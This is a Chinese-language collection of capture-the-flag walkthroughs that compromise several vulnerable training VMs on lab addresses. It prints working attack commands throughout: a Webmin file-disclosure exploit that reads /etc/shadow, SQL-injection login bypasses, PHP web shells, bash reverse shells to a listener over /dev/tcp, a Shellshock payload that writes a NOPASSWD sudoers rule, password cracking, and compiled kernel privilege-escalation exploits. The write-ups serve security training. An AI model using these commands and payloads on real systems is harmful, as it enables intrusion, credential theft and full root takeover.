理论思路汇总，首先常规扫描c段确定靶机ip，并对靶机ip进行端口扫描，然后检测开放端口的服务版本和操作系统信息，首先访问80端口，其中参数connect存在文件包含漏洞，但是不能查看shadow文件的内容，说明权限不高，再对开放端口进行nmap脚本漏洞扫描检测，发现80端口存在一个/php目录，点击访问后里面有一个登录框，但是不知道密码也无法sql注入于是放弃，又经过漏洞扫描检测发现10000端口webmin cms系统存在任意文件揭露的漏洞，通过searchsploit查看存在这类漏洞脚本，于是通过脚本执行得到了shadow的内容，再通过john暴力破解获得了vmware普通用户的密码，通过远程ssh登录，获得初始的shell，但是由于sudo没有可执行的命令，且定时计划任务也不行，所以只能采用别的路线进行提权，经过漏洞扫描检测发现，这个靶机会执行cgi脚本，于是kali复制下复制一个pl脚本的反弹shell文件，修改后缀为cgi，修改文件内部的监听ip为kali机器，并上传到靶机上，通过原先的漏洞脚本，任意文件获取，那么就会访问这个cgi,当访问该cgi就会触发反弹shell的执行，于是kali即可监听获得shell，因为这个漏洞脚本能获取到shadow的内容，那么大概率是root用户，经过检验发现shell的权限确实是root.

具体操作要求

扫描C段，确定靶机ip

nmap -sn 10.10.10.0/24

对靶机进行端口扫描

nmap --min-rate 10000 -p- 10.10.10.25

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p- 10.10.10.25

对靶机开放端口进行服务版本和操作系统信息的检测

nmap -sT -sV -O -p22,80,139,445,10000 10.10.10.25

对靶机开放的端口进行可利用漏洞的扫描，扫描出80端口存在/php路径，10000端口存在webmin文件泄露漏洞

nmap --script=vuln -p22,80,139,445,10000 10.10.10.25

通过web游览访问，发现index1.php页面下的connect参数存在sql注入,并且也存在文件包含漏洞

curl 'http://10.10.10.25/index1.php?help=true&connect=/etc/passwd'

可以使用文件包含查看passwd文件，但是shadow文件却无法查看，说明权限不足

查看webmin相关的漏洞

searchsploit webmin

下载其中任意文件泄露的漏洞脚本

searchsploit webmin -m 2017.pl

查看这个pl脚本的使用说明

perl 2017.pl

获取敏感文件内容信息,于是可以利用该脚本获得/etc/shadow文件

perl 2017.pl 10.10.10.25 10000 /etc/shadow 0

于是把账号和密码的hash全部复制下来，然后使用john暴力破解，于是获得vmware用户的密码

john hash --wordlist=/usr/share/wordlists/rockyou.txt

进行ssh登录即可，获得初级用户的shell

ssh -oHostKeyAlgorithm=ssh-rsa,ssh-dss vmware@10.10.10.25

并且sudo的命令以及计划任务都查看，发现都无可提权的方式

由于一开始可以使用perl脚本获取任意文件的内容， 于是kali中复制一个perl的webshell的脚本

并修改里面的监听ip和想要监听的端口

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi

kali搭建服务器，以便靶机获取

python -m http.server 8083

靶机使用wget获取webshell即可，并给该cgi脚本赋予可执行权限

kali建立端口监听

由于这个2017.pl文件可以查看到shadow文件，那么大概率是以root访问，于是执行pl脚本，让其访问cgi的webshell,即可提权成root

perl 2017.pl 10.10.10.25 10000 /home/vmware/shell.cgi 0

# pWnOS1.0靶场另一种解法和另一种提权思路

理论思路汇总，首先基于原先的端口扫描，发现10000端口是webmin系统管理工具，可以使用大量的CGI脚本来处理用户的请求来执行管理任务，由于靶机可能是使用过低的ssh密钥文件，加上webmin的漏洞可以配合2017.pl文件实现任意文件内容的获取，于是可以获取到每个用户的公钥文件authorized\_keys，这里获得了普通用户vmware的公钥文件，根据搜索openssl的相关漏洞得知，指定版本的ssh生成的rsa证书的随机种子数只有65536，那意味着只需把所有随机种子数的公钥文件和vmware的公钥文件做对比即可，那么自然就可以搜索找到对应的私钥，于是确实找到了对应的公钥，那么获取私钥后，则实现了免密登录，获得了初级用户的shell,接下来的提权分别有两种思路，第一种查询操作系统内核版本，然后使用内核漏洞提权，但是这种方法过于暴力会影响操作系统的运行，第二种方式就是通过shellshock进行提权，首先查询bash版本发现过低，并且通过初始的shell下验证存在shellshock漏洞(即携带环境变量后，可以附加bash命令执行)，于是使用初级用户的shell，设置了一个cgi文件，里面包含了shell执行的基础环境，然后通过curl配合user-agent携带shell命令，使得cgi脚本触发执行携带的shell命令，而该shell命令是给vmware用户添加任意sudo执行，且无需密码，于是vmware用户可以使用sudo任意提权。

操作如下

Webmin是一个基于 Web 的系统管理工具,使用了大量的 CGI 脚本 来处理用户的请求和执行管理任务

解法二，另一种获取shell和提权的思路

首先查看每个用户下的ssh密钥文件,其中发现vmware用户下存在这个公钥文件

perl 2017.pl 10.10.10.25 10000 /home/vmware/.ssh/authorized\_keys 0

其中github提供的auto\_wordlists中的file\_inclusion(Linux和windows版本)会提供大量的敏感文件路径，便于知道哪些可以提供敏感文件信息

这里需要补充一个知识，服务器端存放的是公钥，而客户端存放私钥，只有通过对应的私钥进行登录才能实现免密登录

但是这里有个问题，没有私钥，我们只有该靶机对应的用户公钥

搜索伪随机数相关的漏洞文件，要关于openssl相关的

searchsploit prng

下载对应的漏洞文件

searchsploit prng -m 5622.txt

查看里面的脚本的内容，使用wget下载里面的github压缩包

wget https://github.com/offensive-security/...

解压缩这个压缩包,里面存放了相当多的公钥和对应的私钥

tar -vjxf 5622.tar.bz2

那么思路就是通过获得vmware的公钥文件，去这个压缩包搜索得到对应的私钥，即可实现免密登录

复制靶机公钥内容的前三四十个字符，进行搜索

-l是搜索到内容后列出文件名，-r是把当前目录下的所有文件全部进行递归搜索

grep -lr "搜索的公钥内容"

根据搜索的结果vmware用户并没有，那么就依次获取其他用户的公钥内容，然后依次搜索，于是发现obama用户找到对应的公钥和私钥

于是查找对应的私钥,把私钥拷贝到随便一个目录下，然后再那个目录进行ssh登录即可免密登录

由于使用私钥还发现需要密码，-vv来查看ssh的调试信息

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -i 私钥文件 obama@10.10.10.25 -vv

调试信息提示公钥没有共同签名的支持,于是加上这个公钥可接受密钥类型参数才可免密登录

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -i 私钥文件 obama@10.10.10.25 -oPubKeyAcceptedKeyTypes=ssh-rsa,ssh-dss

于是获得初始用户的shell，接下来就是提权环节

获取该用户的内核版本

uname -r

搜索相关操作系统内核的可以利用的提权漏洞

searchsploit 2.6.22 | grep 'Privilege Escalation'

由于提权漏洞脚本相当多，有的可能会执行失败需要根据经验斟酌哪些合适

这里下载合适的内核漏洞提权脚本

searchsploit 2.6.22 -m 5092.c

kali开启http服务器

python -m http.server 8085

靶机通过wget下载这个脚本

编译这个脚本，赋予可执行权限，并执行即可提权成功

gcc 5092.c -o 5092

chmod +x 5092

./5092

接下来演示另一种提权思路，利用shellshock进行提权。

首先shellshock漏洞是针对bash版本在4.3及以下进行的

首先查看bash版本

bash --version

在低权限的shell中验证是否存在shellshock漏洞

env x='() { :; }; echo "It is vulnerable"' bash -c date

将shell环境的内容先写入到一个cgi文件中

echo "#!/bin/bash" >> test.cgi

并赋予该cgi可执行权限

chmod +x test.cgi

查看2017.pl脚本的逻辑可以发现对应的url访问逻辑去获取敏感文件

于是根据这个逻辑去写对应的格式

curl http://10.10.10.25:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/test.cgi -A '() { :; }; /bin/echo "obama ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers'

此时通过sudo命令发现修改成任意文件都可以sudo执行

sudo /bin/bash

# Holynix靶场

理论思路汇总，首先靶机先扫描C段确定靶机的ip地址，然后扫描开放的端口，发现仅仅开放了80端口，而80端口里面具有登录框，可以使用万能密码注入成功，里面存在文件上传点，但是这个用户权限过低无法直接上传成功，于是游览后台，发现都具有参数page,但是该参数无法进行文件包含漏洞，继续游览发现其中一个网页存在下拉框并可以不同对应的内容，感觉里面可能文件包含漏洞，查看源码发现具有参数text\_file\_name，这个参数能够进行文件包含漏洞，查看了passwd文件，但是无法查看shadow文件，但是也确定了有哪些用户，于是使用万能密码，来登录其他的用户，发现其他用户权限比较高，能够上传木马文件，但是直接上传木马文件直接访问却无法执行，并且发现上传时参数会调用transfer.php，利用参数text\_file\_name文件包含查看源码得知了上传文件的路径以及点击按钮自解压按钮后，源码是怎么把tar.gz包进行提取解压，于是尝试把木马文件打包压缩成tar.gz，然后点击自解压提取文件的按钮并上传，于是查看上传目录，里面的木马文件已经被提取，再次访问发现存在可执行权限，于是配合kali监听得到了初始用户的shell，接下来提权环节，查看发现可以sudo执行mv命令且可以执行tar命令，于是随便把/bin/tar这个可执行文件覆盖成/bin/su，那么sudo执行tar实际上就是sudo执行su命令，于是即可提权成root.

具体操作如下

扫描c段，确定靶机ip

nmap -sn 10.10.10.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 10.10.10.26

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p-10.10.10.26

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p80 10.10.10.26

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p80 10.10.10.26

通过访问web界面，在登陆框中发现存在sql注入，使用万能密码注入进去

1' or 1=1#

在后台界面，发现page参数，想进行文件包含漏洞， 但是并不能成功

又发现内部存在上传文件点，于是可以上传php反弹shell文件，kali先定位这个反弹shell模板

locate php-reverse-shell

复制一份模板，对里面的ip地址改为kali机器，作为监听主机。

由于上传点需要gzip文件，于是把反弹shell文件进行gzip压缩

gzip php-reverse-shell

但是点击上传却发现该用户权限很低，无法进行文件上传

再继续游览发现security这个部分的网页里面有个下拉框，查看前端代码，发现text\_file\_name参数存在文件包含漏洞

但只能查看passwd文件，无法查看shadow文件

回到原先的web登录框，根据查看的用户，使用别的用户来进行sql注入的登录

然后发现其他用户具有文件上传权限，于是上传了反弹shell木马

对网站进行目录扫描，确定木马文件的位置，并无发现有用信息

dirb http://10.10.10.26

其实在最开始上传文件，web页面上有个参数调用了transfer.php，于是文件包含查看源码

发现后端逻辑是自动解压tar.gz包，并且也得知了上传文件的url路径

于是需要重新构造反弹shell是tar.gz包才行

tar -czf shell.tar.gz php-reverse-shell.php

kali建立监听，访问反弹shell，那么会获得低级用户的shell.

接下来提权环节查看得知可以sudo执行mv命令

可以将/bin/tar命令保存一份

mv /bin/tar /bin/tar.orig

然后使用sudo mv /bin/su /bin/tar将su命令改成tar

于是即可提权

sudo tar

# HackademicRTB1靶场

理论思路汇总，首先扫描c段，确定靶机ip，并扫描靶机的端口，发现只有80端口开放，根据网页游览，发现里面cat参数存在sql注入漏洞，由于访问网页时在一级目录进行扫描并无发现任何有效url,但是网页中的二级目录进行扫描能够发现具有wordpress相关的url，并且通过前端页面查看源码也能查看到wordpress的相关版本，根据查询得知wordpress指定版本的用户表以及对应的用户表的字段信息，于是通过sql注入漏洞得知了对应的用户名和密码以及用户的权限等级，由于密码都是hash值，先通过hash-identifier确定是md5，在通过hashcat碰撞出权限等级最高用户的密码，通过访问wordpress后台管理页面进行登录，在option中设置允许上传文件，并设置允许以php后缀进行上传，那么上传php反弹shell配合kali监听，即可获得初级用户的shell权限，提权环节，尝试sudo以及定时计划任务无果后，只能查看敏感文件内容这个路线，其中经过验证数据库配置信息里的root密码和本身机器的root密码是不一样的，那么只能进行内核漏洞提权，最后通过内核漏洞提权成功拿到root权限。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 10.10.10.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 10.10.10.27

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p-10.10.10.27

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p22,80 10.10.10.27

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,80 10.10.10.27

游览网页的同时先对目录爆破扫描

dirb http://10.10.10.27

游览网页并无发现有效信息，查看源码发现有wordpress及其版本信息

搜寻这个wordpress的漏洞

searchsploit WordPress 1.5.1.1

在游览网页中寻找到一个参数cat存在注入漏洞

由于第六列报错，所以确定有五列

1' order by 3

确定web的回显点

-1 union select 1,2,3,4,5

确定哪个用户使用mysql

-1 union select 1,user(),3,4,5

通过网页搜寻确定该版本wordpress的表和列字段，于是进行搜寻查看用户信息

其中0x2d是用作分隔符-

-1 union select 1,group\_concat(id,0x2d,user\_login,0x2d,user\_pass,0x2d,user\_level),3,4,5 from wp\_users

可以在kali查询这些ascii码

ascii

根据user\_level最高的，可以确定是权限最高的用户，由于密码是hash值需要判断hash类型

hash-identifier 'hash值'

用字典碰撞hash值

hashcat -m 0 -a 0 hash值 /user/share/wordlists/rockyou.txt

由于wordpress后台管理的url是固定的，故访问/wp-admin

登录后在option中的miscellaneous options里面设置允许文件上传，并设置允许上传php后缀文件

将以下内容的shell.php上传，上传成功连目录都提示了

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'")>

kali建立监听即可获得初级用户的shell

提权环节，查看sudo没有可执行的命令，且定时计划任务也不能提权，于是就进行内核提权，由于ssh端口关闭，查看敏感文件获得一些密码信息可能也不太适用

于是只能进行内核漏洞提权

查看内核版本

uname -a

查看可以利用的漏洞

searchsploit linux kernel 2.6.3|grep 'Privilege Escalation'

经过筛选选择，确定适合版本且适合该靶机的漏洞，并下载

searchsploit linux kernel 2.6.3 -m 15285.c

kali开启web服务器，让靶机下载到/tmp目录用于提权

首先进行编译

gcc 15285.c -o 15285

# Tr0ll靶场

理论思路，首先扫描c段确定靶机的ip地址，根据靶机ip扫描发现开放的端口是80端口以及ftp的21端口还有ssh的22端口，根据渗透优先级，选择最简单的ftp进行渗透，发现存在匿名登陆，于是登录到ftp服务器发现里面存在一个pcap后缀的文件，下载到kali机器，很明显这是wireshark的抓包流量文件，这里可以使用wireshark进行分析，但是strings可以更加高效分析，根据里面找到了提示关键字sup3rs3cr3tdirlol，猜测与目录相关，于是从web端访问，里面存在一个文件，于是下载这个文件，通过file进行分析得知这是一个ELF32位的可执行文件，一般为了保险起见，会使用binwalk确定这个可执行文件没有捆绑别的文件，那么就可以执行了，执行后里面提示了一个address信息，这个一般来说只可能是内存地址或者说是web的url地址，根据url访问，发现里面存在两个目录，其中一个目录存放的是密码，那么可以猜测另一个目录很可能是账户，将账号和密码分别保存到不同的文件，于是使用crackmapexec喷洒攻击，发现喷洒攻击到一半后，剩下的用户喷洒攻击会出现连接失败的情况，这说明是ssh做了防爆破的策略，于是将未连接的账户调整到用户名文件的前面，然后继续开始爆破攻击，发现密码都不对，根据一开始web里目录的提示信息说密码就包含在文件夹里面，那如果密码不是文件里面的内容，那就可能是文件名，经过尝试，发现喷洒攻击成功，于是使用ssh获得普通用户的shell，提权的时候，发现sudo不能执行命令，并且每隔一会这个ssh会话会中断，并输出重来，于是怀疑是定时计划任务的问题，通过查询日志cronlog，发现每隔两分钟会执行一个py文件，而查看该py文件发现里一直执行删除tmp目录下的所有文件，于是只需改成将普通用户可以一直sudo权限的配置写入到/etc/sudoers配置文件中，最后等待两分钟后，该普通用户能任意执行sudo命令，于是提权成功。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 10.10.10.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 10.10.10.28

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p-10.10.10.28

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p21,22,80 10.10.10.28

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p21,22,80 10.10.10.28

根据开放端口22优先级最低，21ftp端口的渗透最容易，于是先从ftp出发

登录ftp，使用anonymous匿名，发现能够登录

ftp 10.10.10.28

设置二进制模式，在进行文件的下载

binary

里面只有一个文件，于是下载下来，这个明显是流量分析文件

get lol.pcap

可以确认文件类型

file lol.pcap

于是kali可以使用wireshark打开该文件

wireshark lol.pcap

但是这种抓包文件本质上还是文本文件，其实可以使用另外一种方法分析查看内容

strings lol.pcap

通过内容分析，发现有一个关键字(sup3rs3cr3tdirlol)类似目录相关，于是进行web游览发现存在一个文件，于是下载下来

经过查看发现，该文件是一个ELF32位的可执行文件

file roflmao

查看该文件是否有捆绑

binwalk roflmao

以字符的形式查看这个可执行文件,发现里面提示了address信息

strings roflmao

由于不确定这个address是内存地址还是网址url，于是web访问，发现访问成功，并且存在两个目录

里面具有两个文件，其中一个文件具有密码，另一个文件的内容不知道是啥，但可以猜测是不是用户名

于是开始密码喷洒攻击,但是只有前几个认证失败，后面几个会出现连接失败，那么很可能是ssh服务做了一些防止爆破的策略

crackmapexec ssh 10.10.10.28 -u which\_one\_lol.txt -p pass.txt --continue-on-success

那么重新把未连接的用户，调整到用户名文件的前面，在进行密码喷洒的尝试，但是都是认证失败

根据目录名的提示说了文件夹包含密码， 于是文件夹当中的文件名可能是密码，于是再次密码喷洒攻击就成功了

于是使用ssh登录获得初始用户的shell

提权环节，发现并无sudo可以执行的命令，查看定时计划任务权限不够不给查看

再提权的过程中会出现自动退出的情况，怀疑是自动任务计划弄的，于是搜索关键字，看有哪些计划任务的可能

find / -name \*cron\* 2>/dev/null

发现其中的cronlog文件，每隔两分钟执行cleaner.py，那么怀疑可能是以root执行。

找到这个cleaner.py文件，在里面修改把overflow用户可以sudo执行全部命令，并且无需密码

修改部分: echo "overflow ALL=(ALL)NOPASSWD: ALL" >> /etc/sudoers

等待两分钟后可以任意执行sudo，于是随便提权到root了

# Brainpan1靶场

理论思路汇总，首先常规思路扫描c段，确定靶机的ip地址，然后对靶机进行端口扫描，发现存在9999和10000端口，其中10000端口是一个简易的web服务器，粗略访问网页并无发现有效信息，查看源码同样没有，于是进行目录爆破扫描，扫描出了/bin目录，里面存放了一个brainpan.exe文件，使用binwalk并未发现该可执行文件存在捆绑文件，说明没有什么问题。在使用strings查看这个可执行文件的字符串，发现里面有个类似密码的信息shitstorm，并且里面一些关键字显示复制多少数据到缓冲区。在使用nc连接10000端口，发现里面是一个交互界面，随便输入内容会提示访问拒绝，再换成输入shitstorm会显示访问允许，但是也没有什么有效信息，由于这个brainpan.exe是windows的可执行文件，于是在windows下运行里面提示要求连接，于是使用nc连接后发现和之前10000端口开放服务使用nc连接的界面是一模一样的，于是猜测10000端口部署的服务就是brainpan.exe运行下的进程服务，通过写exp文件确定了这个文件当发送600B的数据就会缓冲区溢出，在配合msf-pattern\_create生成长度为600的字符数据，并把这个字符数据发送到window运行的brainpan.exe文件，再配合immunitydebugger调试可以发现eip的内容是msf-pattern生成字符的一部分，于是将eip的字符内容复制下来，配合msf-pattern\_offset即可计算出偏移量是524，那么就定位出eip寄存器的位置了，紧接着发现esp寄存器地址指向的内容也足以存放300-400B的数据，于是可以再esp所指向的内存地址存放shellcode代码，但是存放之前需要确定是否有坏字节，经过确认并无发现坏字节，然后使用msf-nasm\_shell获得jmp esp汇编指令的操作码，然后再immunityDebuger下搜寻出该操作码的内存地址，并把该内存地址覆盖到eip寄存器的位置，而shellcode则写入到esp所存放的内存地址处，当使用kali进行监听，然后指向编写好的exp，会发现能够获得windows的shell,那么只需使用msfvenom生成linux的反弹shell即可，那么把exp运行的目标指向靶机地址，那么执行后就可以获得靶机的shell，那么进入提权环节后，查看sudo命令能够执行一个文件，该文件可以查看所有命令的帮助文档，又因为帮助文档可以进行交互，所以在交互里面输入!/bin/bash，那么就可以提权到root。

# Billu\_b0x靶场

理论思路汇总,首先常规扫描c段确定靶机ip，然后扫描靶机发现开放端口是22、80,访问80的web页面，里面是一个登录框并且提示sql注入，但是直接使用万能密码失败，于是只能先对该网站进行目录爆破扫描，其中得知了/add目录能够上传图片，但是尝试上传图片无任何响应，于是查看/test目录里面提示可以使用file参数进行文件包含，直接通过get请求的方式无任何响应，于是使用curl换成post请求能够获得敏感文件的信息，但是依旧不能获得shadow文件的内容，于是根据另一个角度，包含php的文件获取其中的源码信息，根据index.php发现其中的数据库与参数的拼接方式，从而根据逻辑构造别的万能密码登陆成功，并且也查看c.php文件的源码，发现里面数据库连接的账号密码，尝试使用ssh登录发现失败，使用万能密码登录的页面后依旧存在上传图片文件的地方，于是将一个图片放入php一句话木马的代码，然后上传，根据查看panel.php的源码得知，其中有一个参数load可以控制文件包含的内容，于是让其包含图片木马，并让其执行反弹shell,于是kali获得初级用户的shell，由于不知道该用户的密码，所以sudo路线放弃，然后发现网页根目录存在phpmy目录，里面存放着数据库的配置信息，经过查看得知里面数据库的root密码，尝试使用ssh登录结果直接登录成功，于是顺利提权到root用户。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.95.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.95.131

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p- 192.168.95.131

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p9999,10000 192.168.95.131

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p9999,10000 192.168.95.131

由于开放了80端口，于是对80端口进行目录扫描

gobuster dir -u http://192.168.95.131 -w /usr/share/wordlists/directory-list-2.3-medium.txt

访问/in可以得知php的版本信息，/add可以上传图片文件,但是貌似无权限无法上传，/test目录下提示可以使用file参数于是怀疑有文件包含漏洞

但是再get请求下无法文件包含，于是怀疑是post请求，那么就进行post请求测试文件包含漏洞

curl -X POST --data="file=/etc/passwd" http://192.168.95.131/test

只能获得passwd的文件内容，但是shadow的内容无法获取

当然文件包含也可以从另外一个角度下，那么就能获取到php文件的代码信息，这里得知了数据库注入的代码信息

curl -X POST --data="file=./index.php" http://192.168.95.131/test

包含c.php文件，能够查看该php的源码信息，得知了数据库的账号和密码信息

curl -X POST --data="file=./c.php" http://192.168.95.131/test

于是尝试使用这个账号密码进行ssh登录,但是发现密码是错误的无法登录，说明这条路走不通

ssh billu@192.168.95.131

查看panel.php的源码，发现里面有一个参数load，可以进行文件包含

curl -X POST --data="file=./panel.php" http://192.168.95.131/test

由于查看初始的web界面存在sql注入漏洞，于是使用万能密码无效后，配合源码审计尝试新的payload成功

1' or 1=1 -- \

使用万能密码注入，里面存在文件上传点，于是下载里面的图片，并添加一句话木马

<?php system($\_GET['hsw']); ?>

于是上传成功，使用bp对panel.php抓包，由于里面的load参数可以控制文件包含文件

于是修改抓包的内容,能够进行远程代码执行

/panel.php?hsw=phpinfo()

load=uploaded\_image/jac.jpeg

然后网上搜寻php的反弹shell代码，然后填入了hsw参数即可触发执行，但是直接发送可能没有反应，那么就需要对反弹shell命令进行url编码

bp是url编码的，右键点convert selection中的url-encode key characters

此时kali进行监听，再次bp发送包，于是能够获得shell

接下来就是提权环节，由于不知道该用户的密码，于是sudo -l路线放弃

于是查看敏感文件，发现网站根目录下phpmy下存在一个数据库配置文件，里面存放了数据库的root密码

结果发现使用这个root的数据库密码，能够使用ssh登录root于是提权成功

另一种提权思路，查看内核版本

uname -a

查看内核提权版本的相关漏洞，可以使用里面的37292提权

searchsploit kernel 3.13

searcsearchsploit kernel 3.13 -m 37292

然后靶机可以把提权漏洞文件下载到tmp目录下，然后编译执行

gcc 37292.c -o 37292

./37292

# Kioptrix1.2靶场

理论思路汇总,首先扫描c段确定靶机的ip,然后根据靶机ip扫描得出两个开放端口(22,80)，根据优先级先访问80端口，发现里面有一个登录框存在LotusCMS系统，根据searchsploit查询可利用的漏洞文件，其中一个是msf，但一般来说不会使用msf直接进行获得shell，这样学不到东西，另外一个是使用xss和csrf的漏洞利用，由于利用漏洞需要一定条件，所以暂不考虑，在github搜索LotusCMS exploit，其中一个sh脚本能够配合kali监听，获得初始用户的shell,提权环节下，由于不知道该用户的密码，无法sudo提权，查看计划任务也没有提权的可能，查看网站根目录搜寻到敏感文件，得知了数据库的root密码，尝试直接作为root的密码登录，但是失败了，于是访问数据库，获得了里面的用户和密码hash，经过hash-identifier检测出是md5类型，然后使用john来碰撞出hash的明文密码，登录其中一个用户，其中有一个用户能够进行sudo提权，因为里面能够sudo执行ht编辑器命令，这样可以使用F3打开/etc/sudoers文件，并给该用户添加配置可以sudo执行所有命令且无需密码，然后使用F10保存退出，接下来就可以使用sudo任意提权到root了。

具体操作

扫描c段，确定靶机ip

nmap -sn 192.168.95.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.95.132

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p- 192.168.95.132

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p9999,10000 192.168.95.132

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p9999,10000 192.168.95.132

对靶机进行目录扫描

gobuster dir -u http://192.168.95.132 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问web页面，里面有一个登录框，提示是lotuscms系统

寻找这个cms的可利用的漏洞文件

searchsploit LotusCMS

但是下载这个txt文本里面的漏洞是基于csrf和xss的漏洞，相对需要构造利用的点较多，暂不做考虑

searchsploit LotusCMS -m 16982

于是去github搜寻相关漏洞LotusCMS exploit，找到一个RCE远程代码执行的sh脚本

./lotusRCE.sh 192.168.95.132 /

配合kali进行端口监听，即可获得初始用户的shell

查看是否有安装python，确定有python环境

dpkg -l |grep python

于是使用python来生成一个交互更好的shell

接下来提权环节，首先不知道密码sudo提权路线走不通，计划任务发现查看也走不通

于是只能查看敏感文件，搜寻网站根目录，发现gconfig.php文件存在数据库连接的root密码

尝试使用ssh直接登录，但是却无法成功，那就根据这个账户和密码进行mysql的登录

mysql -uroot -p

于是查看里面的两个用户表，得到用户名和密码信息

其中使用里面的admin用户可以登录进gallery的后台

而另一个用户表存放的密码具有hash值，检测hash的类型是md5

hash-identifier hash值

将两个hash值保存到一个文件中，然后使用john进行碰撞破解出明文密码

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt creds

将用户名和明文密码都保存到对应的文件，然后进行密码喷射，于是可以登录loneferret

crackmapexec ssh 192.168.95.132 -p pass.lst -u user.lst --continue-on-success

根据该用户的密码，登录并进行提权，先查看sudo可以运行的命令

sudo -l

发现可以sudo执行ht编辑器命令

sudo ht

在ht编辑器内部能打开/etc/sudoers,并添加以下内容，这样可以实现任意sudo执行

loneferret ALL=(ALL)NOPASSWD:ALL

提权成功

sudo /bin/bash

# BNE0x03Simple靶场

理论思路汇总，首先常规扫描c段确定靶机的ip，根据靶机ip扫描得知只有80端口开放，访问这个网页得知里面是一个CuteNews的内容管理系统，使用searchsploit找到了对应版本的漏洞，查看这个漏洞.txt文件，里面说明了所有利用漏洞的流程，于是根据流程，先注册一个用户，然后登陆，并上传php木马文件，kali建立监听，通过dirb扫描得知了上传文件的路径，于是点击访问获得初始用的shell,由于不知道密码无法进行sudo提权，而定时计划任务也没有提权的地方，于是尝试内核提权，查询系统内核，根据系统的内核版本和发行版本来搜寻可利用的提权漏洞，依次尝试多次后，才找到合适的提权漏洞提权成功，从这里可以学习到使用searchsploit可根据系统内核版本，也可以根据发行版本搜寻提权漏洞。

具体操作如下

扫描c段，确定靶机ip

nmap -sn 192.168.95.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 192.168.95.130

对靶机的UDP端口进行扫描

nmap -sU --min-rate 10000 -p- 192.168.95.130

对开放端口的服务版本和操作系统进行探测

nmap -sT -sV -O -p80 192.168.95.130

使用nmap的漏洞脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p80 192.168.95.130

访问这个80端口的网页，发现是一个CuteNews内容管理系统，并且也有指定的版本信息

查看该版本是否有可利用的漏洞，发现有任意文件上传的漏洞

searchsploit CuteNews 2.0.3

下载漏洞利用文件

searchsploit CuteNews 2.0.3 -m 37474

查看这个txt文件，根据里面的提示，一步步操作，先注册用户、登录、然后上传图片，再把图片后缀改成php

于是写入一个shell.php反弹shell木马

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

kali建立监听

然后根据漏洞利用文件提示的路径进行访问即可触发反弹shell的执行

接下来提权环节，由于sudo和定时计划任务都无法提权，于是可以尝试进行内核提权，先查看内核版本

uname -a

根据内核版本搜寻可利用的提权漏洞

searchsploit kernel 3.16.0-generic |grep "Privilege Escalation"

searchsploit Ubuntu 14.04 |grep "Privilege Escalation"

下载其中的一个内核提权文件

searchsploit kernel 3.16.0-30 -m 37292

把这个漏洞文件下载到靶机，然后使用gcc编译并执行，但是发现提权失败。

gcc 37292.c -o 37292

./37292

根据一个个尝试，发现其中37088.c提权文件是可以的，根据文件的提示用法，上传到靶机，然后编译执行,于是提权成功

gcc 37088.c -o 37088

./37088

# Nullbyte靶场

理论思路汇总，常规操作扫描c段确定靶机的ip，扫描端口发现80，777端口开放，其中经过nmap检测，777端口就是ssh服务，于是根据优先级先对80端口进行渗透测试，访问网页仅发现一个图片，查看源码也无发现有效信息，于是对目录进行爆破，得知了uploads目录但是访问无权限，还有一个/phpmyadmin的管理后台登录系统，但是不知道密码，正当没有思路的时候，于是把默认网页的图片下载下来，看是否存在图片隐写，使用exiftool查看发现comment字段存在一个值，看起来有点像密码，当然也可能是网页的url路径，首先密码的尝试，发现既不是phpmyadmin的后台密码，也不是ssh登陆的root密码,于是当作url路径访问是没问题的，访问里面要输入key才行，查看网页源码里面提示说并无连接数据库，密码不复杂，于是使用hydra密码爆破，于是破解出密码进行登录，登进去的网页有一个查询username的框，经过检验发现存在sql注入漏洞，于是在个框演示了各种sql注入的攻击形式，分别用内联查询得到users表密码hash，以及写入一句话木马或者写入反弹shell，还演示sqlmap自动化注入，接下来根据这个users表的hash进行john爆破，得到真正的密码，于是使用ssh登录上去，接下来提权环节，分别发现sudo和定时计划任务无提权可能，查看敏感文件得到数据库的root密码，但是也非靶机的root密码，于是要想到新的提权可能，通过查看history，得知该用户执行了一个文件，并且查看权限得知文件具备suid权限，即执行文件，会以文件所属者的权限执行，又因为文件所属者是root，那么就有可能提权，执行这个文件，发现里面执行了ps命令，于是利用软链接，将/bin/sh链接成一个ps文件，然后在PATH中添加当前目录为环境变量，当再次执行这个文件，将会提权成root,原因在于环境变量劫持，导致会先使用当前目录